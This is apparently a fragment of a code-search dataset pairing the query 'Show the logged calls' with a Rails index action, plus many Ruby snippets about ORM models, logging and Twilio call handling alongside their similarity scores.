"def entity_class\n self.class.name.sub(/Mapper$/, '').constantize\n end",
"def entityResolver; @entityResolver; end",
"def find_by()\n\n end",
"def database_engine\n :mysql\n end",
"def entities; end",
"def entity load=true\n @entity ||= (klass.where(id: id).first if load)\n end",
"def persisted? ; false ; end",
"def base_model\n BaseModel\n end",
"def relationnal_result(method_name, *arguments)\n self.class.reload_fields_definition(false)\n if self.class.many2one_associations.has_key?(method_name)\n load_m2o_association(method_name, *arguments)\n elsif self.class.polymorphic_m2o_associations.has_key?(method_name)# && @associations[method_name]\n load_polymorphic_m2o_association(method_name, *arguments)\n# values = @associations[method_name].split(',')\n# self.class.const_get(values[0]).find(values[1], arguments.extract_options!)\n else # o2m or m2m\n load_x2m_association(method_name, *arguments)\n end\n end",
"def strategy=(s); end",
"def find(query); end",
"def find(query); end",
"def call(strategy=\"youdao\", query)\n stra = instance_variable_get :\"@#{strategy}\"\n raise StrategyNotRegistered if stra.nil?\n stra.(query)\n end",
"def method_missing(method_name,*args)\n if PedantMysql2.respond_to?(method_name, true)\n PedantMysql2.send(method_name,*args)\n else\n super\n end\n end",
"def orm_class\n @orm_class ||= begin\n # Raise an error if the class_option :orm was not defined.\n unless self.class.class_options[:orm]\n raise \"You need to have :orm as class option to invoke orm_class and orm_instance\"\n end\n\n begin\n \"#{options[:orm].to_s.camelize}::Generators::ActiveModel\".constantize\n rescue NameError\n Rails::Generators::ActiveModel\n end\n end\n end",
"def model_class=(_arg0); end",
"def with_sql_first(sql)\n obj = super\n obj.allow_lazy_load if obj.is_a?(InstanceMethods)\n obj\n end",
"def true_class\n return ModelProxy\n end",
"def perform\n # This will allow us to switch backend data structure for\n # searching pretty easily.\n perform_by_mysql\n end",
"def strategy_name; end",
"def execute; end",
"def execute; end",
"def each_model(options = {}, &block)\n WingedCouch::Model.subclasses.each do |klass|\n if options[:raise_exceptions] and not klass.database.exist?\n raise %Q{Database for model #{klass.name} doesn't exist, run rake winged_couch:db:create}\n end\n block.call(klass)\n end\n end",
"def concrete_model\n self.class\n end",
"def execute\n raise NotImplementedError\n end",
"def use_single?(results)\n if(results.class.superclass.to_s == 'ActiveRecord::Base')\n return true\n end\n false\n end",
"def base_class\n S::Model\n end",
"def postable(*args)\n if self.postable_type.nil? || self.postable_type.constantize < ActiveRecord::Base\n super\n elsif self.postable_type.constantize < ActiveResource::Base\n self.postable_type.constantize.send(:find, self.postable_id)\n end\n rescue\n super\n end",
"def db; end",
"def db; end",
"def define_fast_methods_for_model(name, options)\n join_table = options[:join_table]\n join_column_name = name.to_s.downcase.singularize\n define_method \"fast_#{join_column_name}_ids_insert\" do |*args|\n table_name = self.class.table_name.singularize\n insert = M2MFastInsert::Base.new id, join_column_name, table_name, join_table, *args\n insert.fast_insert\n end\n end",
"def acts_as_polymorph(options = {})\n # :name is the model name of the base class\n # :content is the name of the polymorphic :as in the base class\n configuration = { :name => :asset, :as => :content }\n configuration.update(options) if options.is_a?(Hash)\n \n polymorph_name = configuration[:name].to_s.downcase\n polymorph_class_name = polymorph_name.capitalize\n polymorph_table_name = ActiveSupport::Inflector.pluralize(polymorph_name)\n my_table_name = ActiveSupport::Inflector.pluralize(base_class.name).downcase\n as_name = configuration[:as].to_s.downcase\n \n class_eval <<-END_EVAL\n has_one :#{polymorph_name}, :as => :#{as_name}, :dependent => :destroy\n alias_method :ar_to_xml, :to_xml\n \n def acts_as_polymorph_class\n ::#{self.name}\n end\n \n def self.polymorph_class\n #{polymorph_class_name}\n end\n \n def self.polymorph_table_name\n \"#{polymorph_table_name}\"\n end\n \n def self.polymorph_class_name\n \"#{polymorph_class_name}\"\n end\n \n def self.polymorph_name\n \"#{polymorph_name}\"\n end\n \n def self.all_polymorph_readers\n readers = [polymorph_class.polymorph_readers, polymorph_class.polymorph_accessors, polymorph_class.content_columns.map(&:name)].flatten\n readers.reject! {|r| r == \"id\"}\n readers\n end\n\n def self.all_polymorph_writers\n writers = [polymorph_class.polymorph_writers, polymorph_class.polymorph_accessors, polymorph_class.content_columns.map(&:name)].flatten\n writers.reject! {|r| r == \"id\"}\n writers\n end \n \n def initialize(attrs = nil)\n super(nil)\n self.#{polymorph_name} = #{polymorph_class_name}.new\n self.attributes = attrs\n self\n end\n\n define_delegate_readers\n define_delegate_writers\n define_meta_methods\n include InstanceMethods\n\n END_EVAL\n end",
"def query\n super\n end",
"def subscribe_sql_active_record; end",
"def persist; end",
"def persist; end",
"def persist; end",
"def base(criteria = T.unsafe(nil)); end",
"def mti_handles_query_param param\n (reflections[param.to_s]&.macro == :belongs_to) || column_names.include?(param.to_s)\n end",
"def method_missing msg, *args, &block\n model = begin;\n Object.const_get msg\n rescue NameError\n end\n \n if model and model.respond_to?(:descends_from_active_record?) and model.descends_from_active_record?\n model.find args.first\n else\n super\n end\nend",
"def find_by_sql(sql)\n raise \"not implemented\"\n end",
"def query\n end",
"def ar?\n orm == :ar\n end",
"def rateable_object\n case\n when params[:post_id] then Post.find_by_id(params[:post_id])\n when params[:comment_id] then Comment.find_by_id(params[:comment_id])\n end\n end",
"def has_many_polymorphic_xdb_records(name, options = {})\n association_name = options[:as] || name.to_s.underscore\n id_field, type_field = \"#{association_name}_id\", \"#{association_name}_type\"\n object_name = options[:class_name] || name.to_s.singularize.camelize\n object_class = object_name.classify.constantize\n\n self.instance_eval do\n define_method(name) do |reload = false|\n reload and self.instance_variable_set(\"@#{name}\", nil)\n if self.instance_variable_get(\"@#{name}\").blank?\n new_value = object_class.where(id_field => self.id, type_field => self.class.name)\n self.instance_variable_set(\"@#{name}\", new_value)\n end\n self.instance_variable_get(\"@#{name}\")\n end\n end\n end",
"def by_type(id)\n DB_TYPE[id]\n end",
"def sql_type(name)\n name = (name.kind_of?(String) ? name.split('.').first : name.to_s)\n\n return :belongs_to if belongs_to(name)\n\n # Skip using columns() cause we dont need to check for belongs_to\n column = columns.find { |col| col.name == name }\n\n if column.present?\n column.type\n elsif has_many(name)\n :has_many\n elsif has_one(name)\n :has_one\n elsif belongs_to_polymorphic(name)\n :belongs_to_polymorphic\n elsif has_and_belongs_to_many(name)\n :has_and_belongs_to_many\n elsif active_storage(name)\n :active_storage\n elsif name == 'id' && defined?(EffectiveObfuscation) && klass.respond_to?(:deobfuscate)\n :effective_obfuscation\n elsif name == 'roles' && defined?(EffectiveRoles) && klass.respond_to?(:with_role)\n :effective_roles\n elsif (name.ends_with?('_address') || name.ends_with?('_addresses')) && defined?(EffectiveAddresses) && (klass.new rescue nil).respond_to?(name)\n :effective_addresses\n elsif name.ends_with?('_id')\n :integer\n else\n :string\n end\n end",
"def persisted? ; false ; end",
"def on_table?; @on_table; end",
"def execute(*)\n super\n end",
"def orm_class\n @orm_class ||= begin\n # Raise an error if the class_option :orm was not defined.\n unless self.class.class_options[:orm]\n raise \"You need to have :orm as class option to invoke orm_class and orm_instance\"\n end\n\n action_orm = \"#{options[:orm].to_s.classify}::Generators::ActiveModel\"\n\n # If the orm was not loaded, try to load it at \"generators/orm\",\n # for example \"generators/active_record\" or \"generators/sequel\".\n begin\n klass = action_orm.constantize\n rescue NameError\n require \"generators/#{options[:orm]}\"\n end\n\n # Try once again after loading the file with success.\n klass ||= action_orm.constantize\n rescue Exception => e\n raise Error, \"Could not load #{action_orm}, skipping controller. Error: #{e.message}.\"\n end\n end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def db_store(object)\n ancestors = objectify(object).ancestors.map(&:to_s)\n if ancestors.include?('ActiveRecord::Base')\n ActiveRecord\n elsif ancestors.include?('Mongoid::Document')\n Mongoid\n elsif ancestors.include?('MongoMapper::Document')\n MongoMapper\n else\n raise 'Database Store not supported'\n end\n end"
] |
[
"0.67086446",
"0.6680326",
"0.62374544",
"0.6004661",
"0.59786105",
"0.5725396",
"0.571461",
"0.5712513",
"0.5621569",
"0.5572046",
"0.55534637",
"0.55534637",
"0.54924273",
"0.54346377",
"0.54346377",
"0.53535545",
"0.5278378",
"0.52699673",
"0.526183",
"0.5248149",
"0.52437574",
"0.52312475",
"0.5205665",
"0.5203217",
"0.5203217",
"0.5198398",
"0.5195816",
"0.51875603",
"0.518458",
"0.5177774",
"0.51565623",
"0.51558906",
"0.5136626",
"0.51307416",
"0.51250476",
"0.5124519",
"0.51117766",
"0.5110377",
"0.50929594",
"0.50778496",
"0.5075216",
"0.5072629",
"0.5063994",
"0.50535154",
"0.50370866",
"0.50364107",
"0.503514",
"0.50270945",
"0.50270945",
"0.50265384",
"0.5023515",
"0.50219107",
"0.5008771",
"0.4999902",
"0.49984115",
"0.49932098",
"0.49846485",
"0.498183",
"0.498183",
"0.49656793",
"0.49648508",
"0.49608815",
"0.4959449",
"0.49546447",
"0.49540606",
"0.49476665",
"0.49476665",
"0.4945506",
"0.49371684",
"0.49355894",
"0.49317753",
"0.49210593",
"0.49210593",
"0.49210593",
"0.49186698",
"0.49184322",
"0.49096957",
"0.49047396",
"0.49039564",
"0.4901278",
"0.49012417",
"0.4895054",
"0.48947853",
"0.48930678",
"0.48887613",
"0.4873097",
"0.4868761",
"0.48637748",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.48615587",
"0.4860553"
] |
0.60873646
|
4
|
Show the logged calls
|
def index
@calls = Call.all.order('created_at DESC')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_history\n logger.info('[]' + request.method + \"\\t\" + request.fullpath + \"\\t\" + request.remote_ip + \"\\t\" + Time.now.strftime('%Y-%m-%d %H:%M:%S'))\n end",
"def logme\n\t\tlogger.debug \"============Main ApplicationController get calls at #{Time.now}\"\n\tend",
"def call_tracing\n @page_title = _('Call_Tracing')\n @page_icon = 'lightning.png'\n @users = User.find_all_for_select(correct_owner_id)\n end",
"def logs\n end",
"def show_log!\n @runopts[:show_log] = true\n end",
"def log\n advanced[:log]\n end",
"def print\r\n\t\tputs name + \" \" + className + \" says \" + call\r\n\tend",
"def print\n\t\tputs name + \" \" + className + \" says \" + call\n\tend",
"def display(*args)\n @__caller_info__ = __caller_info__\n super\n end",
"def logs\n\n end",
"def print\r\n puts name + \" \" + className + \" says \" + \"\\\"\" + call + \"\\\"\"\r\n end",
"def log\n end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def call(messages: [])\n @logger.debug(messages)\n end",
"def log\n # When someone actually picks up the call\n if params[:DialAction] == 'answer'\n user_number = UserNumber.find_by_sip_endpoint(params[:DialBLegTo])\n @call.update! user_number: user_number\n # When the call is over, we log the call duration and the time it took to\n # pick up the call\n elsif params[:DialAction] == 'hangup' &&\n params[:DialBLegHangupCause] == 'NORMAL_CLEARING'\n pickup_time = params[:AnswerTime].to_time - params[:StartTime].to_time\n @call.update! duration: params[:DialBLegDuration], pickup_time: pickup_time\n end\n render nothing: true\n end",
"def command_showAll\n entries = @log.get_entries()\n entries.each { |i|\n puts i.to_s\n }\n end",
"def showLog( foodLog )\n puts \"\\n\" + foodLog.showAll\nend",
"def show_select\n __log_activity\n __debug_route\n end",
"def command_show(date = Date.today)\n entries = @log.get_entries(date)\n if entries != nil\n entries.each { |i|\n puts i.to_s\n }\n end\n end",
"def log()\n @log\n end",
"def icl_show( args )\n if args == \"all\"\n puts @log.show_all\n else\n puts @log.show( args )\n end\n\n end",
"def print_call ( i )\n\tname = @call.call_lookup i.target.hex\n\tif name\n\t w = i.line.split\n\t print w[0] + \"\\t\" + w[1] + \"\\t\\t\" + w[2]\n\t print \"\\t\" + name + \"\\t\\t; \" + w[3] + \"\\n\"\n\t #puts i.line + \"\\t; \" + name\n\telse\n\t # should never happen\n\t puts i.line + \"\\t; \" + \"????\"\n\tend\n end",
"def history\n\t\t@user.show_log\n\tend",
"def log(text)\n puts \"[#{Time.now}] \\e[0;30mCaller: #{caller[0][/`(.*)'/,1]} \\e[0m| #{text}\"\n end",
"def log\n @log\n end",
"def logger_output; end",
"def log\n @list\n end",
"def result_log\n end",
"def result_log\n end",
"def result_log\n end",
"def __log(method, path, params, body, url, response, json, took, duration)\n logger.info \"#{method.to_s.upcase} #{url} \" +\n \"[status:#{response.status}, request:#{sprintf('%.3fs', duration)}, query:#{took}]\"\n logger.debug \"> #{__convert_to_json(body)}\" if body\n logger.debug \"< #{response.body}\"\n end",
"def __calls\n @calls\n end",
"def show_info\n run('show info')\n end",
"def info(msg) log(INFO, \"INFO \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def logs\n ret = @uri.logs\n render plain: ret[:message], status: ret[:status]\n end",
"def call_log\n @call_log ||= TermuxRubyApi::SubSystems::CallLog.new(self)\n end",
"def advanced\n __log_activity(anonymous: true)\n __debug_route\n end",
"def logs\n @runner.log\n end",
"def log_request\n \"#{request.ip} - #{session[:login] ? session[:login].name : '-'} [#{Time.now.strftime('%d/%m/%Y:%H:%M:%S %z')}] \\\"#{request.request_method} #{request.path} HTTP\\\" #{response.status} #{response.content_length} #{timer.stop(request.object_id).round(3)}\"\n end",
"def show\n # logger.debug @site\n end",
"def display_results\n\n title1 = sprintf(TITLE_ROW, \"METH\", \"PATH\", \"CALLED\", \"RESPONSE TIME(ms)\",\"\", \"\", \"\", \"\",\"\",\"\", \"DYNO\", \"MESSAGE\", \"SIZE\")\n puts(title1)\n printf(TITLE_ROW, \"\", \"\", \"Times\", \"Mean\",\" : \",\"Median\",\" : \",\"Mode\",\" : \", \"Range\", \"Busiest\", \"Average\", \"Max\")\n puts('-'*title1.length)\n @endpoints.each do | ep |\n if ep.called == 0 then\n printf(TITLE_ROW, ep.ep_method,ep.ep_path, \" Never\", \" \",\" : \",\" \",\" : \",\" \",\" : \", \" \", \" \", \" \", \" \")\n else\n printf(DATA_ROW,\n ep.ep_method,\n ep.ep_path,\n ep.called,\n ep.averages[:responses].mean,\n ep.averages[:responses].median,\n ep.averages[:responses].mode,\n ep.averages[:responses].range,\n ep.busiest_dyno,\n ep.averages[:bytes].mean,\n ep.averages[:bytes].hi)\n end\n end\n\n if @endpoints.unprocessed_lines > 0\n puts \"There were #{@endpoints.unprocessed_lines} Unprocessed Lines of data from #{@loglines} total lines in the log!\"\n else\n puts \"All #{@loglines} total lines in the log were processed!\"\n end\n end",
"def display_method_info\n end",
"def show_basic\n puts \"#{@total_packet_count} total packets captured\"\n puts \"#{@rinda_packet_count} Rinda packets captured\"\n puts \"#{@drb_packet_count} DRb packets captured\"\n puts \"#{@drb_messages_sent} messages sent\"\n puts \"#{@drb_results_received} results received\"\n puts \"#{@drb_exceptions_raised} exceptions raised\"\n end",
"def index\n @calllogs = Calllog.all\n end",
"def detail\n if backtrace\n %{#{self.class.name}: #{message}\\n #{backtrace.join(\"\\n \")}\\n LOGGED FROM: #{caller[0]}}\n else\n %{#{self.class.name}: #{message}\\n LOGGED FROM: #{caller[0]}}\n end\n end",
"def print\n\t\tputs name + ' ' + className + \" just \" + move + \" and said \" + call\n\tend",
"def log_http_call(payload)\n logger.info \"Request[#{payload[:method]}]: #{payload[:uri].to_s}\"\n start_time = Time.now\n response = yield\n logger.info sprintf(\"Response[%s]: %s, Duration: %.3fs\", response.code,\n response.message, Time.now - start_time)\n response\n end",
"def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend",
"def info\n @client.call(self.class, __callee__.to_s, @call_params)\n end",
"def log\n math :log\n end",
"def with_logging(method_name = nil)\n method_name ||= caller[0][/`([^']*)'/, 1]\n result = yield\n self.log method_name, result\n result\n end",
"def info(msg) log(6, msg); end",
"def sub_log \n send_cmd(\"sub_log\")\n end",
"def log_http_call(payload); end",
"def log_http_call(payload); end",
"def log(*args)\n puts *args\n end",
"def fancy_log\n\n @log.collect { |msg| fancy_print(msg) }\n end",
"def debug(msg) log(DEBUG, \"DEBUG \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def display_usage\n end",
"def calls; end",
"def calls; end",
"def verbose_logging; end",
"def raw\n orig_command = \"show calls\"\n end",
"def dump_call_stack\n puts \"[Debug] callStack start---\"\n puts caller\n puts \"[Debug] callStack end---\"\nend",
"def data_report(options={})\n puts \"\\n\\n\"\n puts \"**********************************\\n\"\n puts \"**********************************\"\n puts @last_log\nend",
"def log(request, response)\n time = Time.new.strftime(\"%Y-%m-%d %H-%M-%S\")\n http_request = \"#{request.http_method} #{request.uri}\"\n http_response = \"#{response.code}\"\n @log_file.puts \"#{++@log_no} -- [#{time}] #{http_request} #{http_response}\"\n end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def show\n show_basic\n puts\n show_messages\n puts\n show_peers\n end",
"def log(msg)\n puts msg\n end",
"def show\n # binding.pry\n \n end",
"def show\n puts \"==========================\"\n puts \"SHOW\"\n end",
"def log()\n return @log unless @log.nil?\n @flow.log()\n end",
"def info\n puts 'Info'\n end",
"def report!(msg = \"\")\n puts(\"#{caller.first}: #{msg}\")\n end",
"def log_request\n logger.info \"HTTP request received => #{request.fullpath} , params => #{params} \"\n end",
"def log\n instance.options[:log]\n end",
"def log\n instance.options[:log]\n end",
"def log_action msg\n\t\t\t\tputs '=> ' + msg\n\t\t\tend",
"def logging\n @@logging ||= lambda { |msg| puts(\"#{Time.now} :minion: #{msg}\") }\n end",
"def log(msg)\n puts\n puts msg\nend",
"def log(message)\n puts message\n end",
"def print_info\n UI.puts \"\\nTo learn more about the ip see `#{@ip_url}`.\"\n end",
"def print_info\n UI.puts \"\\nTo learn more about the ip see `#{@ip_url}`.\"\n end",
"def showAll()\n\t\tlogs = @log.sort\n\t\tputs \"******************LOG****************OLD\\n\"\n\t\tlogs.each { |date,item| printDate(date)\t} \n\t\tputs \"******************LOG END************NEW\\n\"\n\n\tend",
"def log(*args); end",
"def info_msg(msg)\n @log.puts(msg)\n puts msg\nend",
"def show\n @call_log = CallLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @call_log }\n end\n end",
"def show(url_data)\n puts reverse_s(/#_#.+?#_#/m.match(reverse_s(open(\"log/#{url_data[:name]}\").read.to_s)).to_s) + \"\\n\\n\"\n end",
"def log\n self.class.log\n end",
"def info_and_log(message)\n @ui.info(message)\n @logger.info(message)\n end",
"def info_display\n @queue << \"i d\"\n end",
"def show\n @call = current_user.calls.find(params[:id])\n\n respond_to do |format|\n format.html\n end\n end",
"def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend",
"def logs message\n puts \"#{Time.now}: #{message}\"\n end"
] |
[
"0.6701976",
"0.6678386",
"0.65746415",
"0.64326644",
"0.64297765",
"0.6427081",
"0.6404469",
"0.63954556",
"0.6345736",
"0.63456285",
"0.63368106",
"0.63294303",
"0.63246995",
"0.63246995",
"0.63246995",
"0.63246995",
"0.63246995",
"0.63246995",
"0.63246995",
"0.63246995",
"0.6256315",
"0.6248369",
"0.6233375",
"0.6232364",
"0.6191847",
"0.61913955",
"0.6165945",
"0.61338663",
"0.6127086",
"0.6126219",
"0.61118865",
"0.6109729",
"0.61071426",
"0.6104545",
"0.6066487",
"0.6066487",
"0.6066487",
"0.60650474",
"0.6053965",
"0.6036148",
"0.6016437",
"0.5995674",
"0.59919584",
"0.59677887",
"0.596255",
"0.59580773",
"0.5938797",
"0.58975405",
"0.589586",
"0.58789486",
"0.5878165",
"0.58759344",
"0.5870784",
"0.58632797",
"0.58537656",
"0.5834528",
"0.5825549",
"0.5820844",
"0.58195555",
"0.58179903",
"0.5817639",
"0.5817639",
"0.5805995",
"0.5804616",
"0.5802274",
"0.5802075",
"0.5793187",
"0.5793187",
"0.57766116",
"0.5771921",
"0.5770592",
"0.57548827",
"0.5754438",
"0.5752886",
"0.5745283",
"0.57428706",
"0.57316226",
"0.5718488",
"0.5717854",
"0.56963235",
"0.56958956",
"0.5685271",
"0.5681402",
"0.5681402",
"0.56789315",
"0.56763566",
"0.5654358",
"0.5646153",
"0.5644756",
"0.5644756",
"0.5643098",
"0.56422794",
"0.5641039",
"0.56386787",
"0.5634953",
"0.56168765",
"0.560526",
"0.5604225",
"0.56023157",
"0.5595632",
"0.5589754"
] |
0.0
|
-1
|
When a call comes in, we create a Call log entry and we render the XML file describing how to handle the call
|
def answer
return render nothing: true unless params[:Event] == 'StartApp'
@from = params[:From]
company_number = CompanyNumber.find_by_sip_endpoint params[:To]
Call.create! from: @from, call_uuid: params[:CallUUID], company_number: company_number
@user_numbers = company_number.users.joins(:user_numbers).select('user_numbers.sip_endpoint')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @call_log = CallLog.new(params[:call_log])\n\n respond_to do |format|\n if @call_log.save\n format.html { redirect_to(@call_log, :notice => t(:call_log_created)) }\n format.xml { render :xml => @call_log, :status => :created, :location => @call_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call_log.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @call_log = CallLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @call_log }\n end\n end",
"def log\n # When someone actually picks up the call\n if params[:DialAction] == 'answer'\n user_number = UserNumber.find_by_sip_endpoint(params[:DialBLegTo])\n @call.update! user_number: user_number\n # When the call is over, we log the call duration and the time it took to\n # pick up the call\n elsif params[:DialAction] == 'hangup' &&\n params[:DialBLegHangupCause] == 'NORMAL_CLEARING'\n pickup_time = params[:AnswerTime].to_time - params[:StartTime].to_time\n @call.update! duration: params[:DialBLegDuration], pickup_time: pickup_time\n end\n render nothing: true\n end",
"def call_log\n @call_log ||= TermuxRubyApi::SubSystems::CallLog.new(self)\n end",
"def new\n @call = Call.new\n @templates = Array.new\n Dir.new(\"app/views/calls/twiml\").entries.each do |entry|\n @templates.push(entry[0..(entry.index('.') - 1)]) if (entry.ends_with? \"xml.erb\")\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @call }\n end\n end",
"def create\n @call = Call.new(params[:call])\n \n respond_to do |format|\n if @call.save\n \n result = OutgoingCallerId.find(:last)\n twcall = @twilio_client.account.calls.create(\n from: result.phone_number,\n to: @call.to, \n url: \"#{url_for(@call)}/twiml.xml\")\n \n @call.update_attribute :sid, twcall.sid\n format.html { redirect_to @call, notice: \"Call was successfully created.#{url_for(@call)}\" }\n format.json { render json: @call, status: :created, location: @call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @call = Call.new(call_params)\n\n respond_to do |format|\n if @call.save\n record_call_activity\n format.html { redirect_to @call, notice: 'Call was successfully created.' }\n format.json { render :show, status: :created, location: @call }\n else\n format.html { render :new }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def start_call(call_node)\n case call_node.message\n when :create_table\n @last_klazz = call_node.arguments[1].to_s.classify\n when *ATTRIBUTE_TYPES\n attribute_name = call_node.arguments[1].to_s\n @model_attributes.add_attribute(@last_klazz, attribute_name, call_node.message)\n else\n # nothing to do\n end\n end",
"def provider_twiml\n\n\t\t# get contact and set the call_sid\n\t\tcontact = TwilioContact.where(id: params[:id]).first\n\t\tcontact.call_sid = params[:CallSid]\n\t\tcontact.save\n\t\t\n\t\t# get the provider category for TwiML file\n\t\tcategory = contact.category\n\t\tprefix = \"an\"\n\t\tprefix = \"a\" unless category =~ /^[aeiou]/\n\n\t\t# instance vars used in twiml file\n\t\t@provider_cat = \"#{prefix} #{category}\"\n\t\t@provider_id = contact.id\n\n\t\t# save request to history\n\t\tparams[:Action] = \"Provider_Twiml\"\n\t\thistory = TwilioHistory.create(history_params)\n \n respond_to :xml\n end",
"def create\n @calllog = Calllog.new(calllog_params)\n\n respond_to do |format|\n if @calllog.save\n format.html { redirect_to @calllog, notice: 'Calllog was successfully created.' }\n format.json { render action: 'show', status: :created, location: @calllog }\n else\n format.html { render action: 'new' }\n format.json { render json: @calllog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def place_call\n client = Twilio::REST::Client.new(Settings.twilio.account_sid, Settings.twilio.auth_token)\n params = {\n from: call.caller_id,\n to: call.member_phone_number,\n url: call_start_url(call),\n status_callback: member_call_event_url(call),\n status_callback_method: 'POST',\n status_callback_event: %w[initiated ringing answered completed]\n }\n client.calls.create params\n rescue Twilio::REST::RestError => e\n # 13223: Dial: Invalid phone number format\n # 13224: Dial: Invalid phone number\n # 13225: Dial: Forbidden phone number\n # 13226: Dial: Invalid country code\n # 21211: Invalid 'To' Phone Number\n # 21214: 'To' phone number cannot be reached\n call.action.destroy!\n call.update!(twilio_error_code: e.code, status: 'failed', action_id: nil)\n if (e.code >= 13_223 && e.code <= 13_226) || [21_211, 21_214].include?(e.code)\n add_error(:member_phone_number, I18n.t('call_tool.errors.phone_number.cant_connect'))\n else\n Rails.logger.error(\"Twilio Error: API responded with code #{e.code} for #{call.attributes.inspect}\")\n add_error(:base, I18n.t('call_tool.errors.unknown'))\n end\n end",
"def recording\n @call = Call.find(params[:id])\n @call.update_attribute :recording_url, params[:RecordingUrl] || @call.recording_url\n @call.update_attribute :recording_duration, params[:RecordingDuration] || @call.recording_duration\n \n render \"calls/twiml/recording/#{@call.template}.xml.erb\"\n end",
"def show\n @call_log = CallLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @call_log }\n end\n end",
"def create\n call = Call.create_or_update(params)\n user_selection = params[:Digits]\n\n response = case user_selection\n when FORWARD_CALL then forward_call\n when LEAVE_A_MESSAGE then record_voicemail\n else main_menu\n end\n\n render xml: response.to_s\n end",
"def receive_browser_call\n campaign_id = params[:campaign_id].to_i\n Sharelink.add_clicker(campaign_id, session[:referrer_id], current_user) if session[:referrer_id]\n Call.create(:campaign_id => campaign_id, :user_id => params[:id], :twilio_id => params[:CallSid])\n outbound_call = Campaign.outbound_call_instructions(campaign_id)\n render :xml => outbound_call.text\n end",
"def create\n call = params[:call]\n call[:vote] = parse_vote(call[:vote])\n @call = Call.new(call)\n \n respond_to do |format|\n if @call.save\n format.html { redirect_to(@call, :notice => 'Call was successfully created.') }\n format.xml { render :xml => @call, :status => :created, :location => @call }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_voicemail_email(call)\n @user = call.user\n @call = call\n @recording = call.recording\n mail to: @user.email, subject: \"Voicemail message from #{@call.caller_number}\"\n end",
"def log_and_alert\n \n @call_options = CallOption.option_for_digits(menu_selection) \n ap = AppConfig.find_by_name(\"threesparks\")\n ap.message_log.create(from:params[:From], country:params[:CallerCountry], state:params[:CallerState], call_sid:params[:CallSid], menu_digit:menu_selection, recording_url:menu_selection)\n \n unless ap.yammer_auth_token.blank?\n YammerConnect.alert_yammer(ap.yammer_auth_token,message, params[:RecordingUrl], @call_options[:yammer_group_id])\n end\n \n respond_to do |format|\n \n format.xml\n end\n end",
"def create(call)\n validate_type!(call)\n\n attributes = sanitize(call)\n _, _, root = @client.post(\"/calls\", attributes)\n\n Call.new(root[:data])\n end",
"def create\n @call_type_info = CallTypeInfo.new(params[:call_type_info])\n\n respond_to do |format|\n if @call_type_info.save\n flash[:notice] = 'Call type was successfully created.'\n format.html { redirect_to(call_type_infos_url) }\n format.xml { render :xml => @call_type_info, :status => :created, :location => @call_type_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call_type_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @call_num = CallNum.new(params[:call_num])\n\n respond_to do |format|\n if @call_num.save\n flash[:success] = 'Call number was successfully created.'\n format.html { redirect_to add_details_path }\n format.xml { render :xml => @call_num, :status => :created, :location => @call_num }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @call_num.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @call = Call.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @call }\n end\n end",
"def set_calllog\n @calllog = Calllog.find(params[:id])\n end",
"def makecall\n \n client = Twilio::REST::Client.new(TWILIO_CONFIG['sid'], TWILIO_CONFIG['token'])\n @call = client.account.calls.create(\n :from => TWILIO_CONFIG['from'], # From your Twilio number\n :to => '+19493228496', # To any number\n # Fetch instructions from this URL when the call connects\n :url => 'http://snipit.herokuapp.com/voicein'\n )\n end",
"def create\n @call_history = CallHistory.new(call_history_params)\n\n respond_to do |format|\n if @call_history.save\n format.html { redirect_to @call_history, notice: 'Call history was successfully created.' }\n format.json { render :show, status: :created, location: @call_history }\n else\n format.html { render :new }\n format.json { render json: @call_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity_log_create\n write_activity_log(:create)\n end",
"def create\n @call = Call.new(call_params)\n\n respond_to do |format|\n if @call.save\n format.html { redirect_to :back, notice: 'Call was successfully created.' }\n format.json { render action: 'show', status: :created, location: @call }\n else\n format.html { render action: 'new' }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
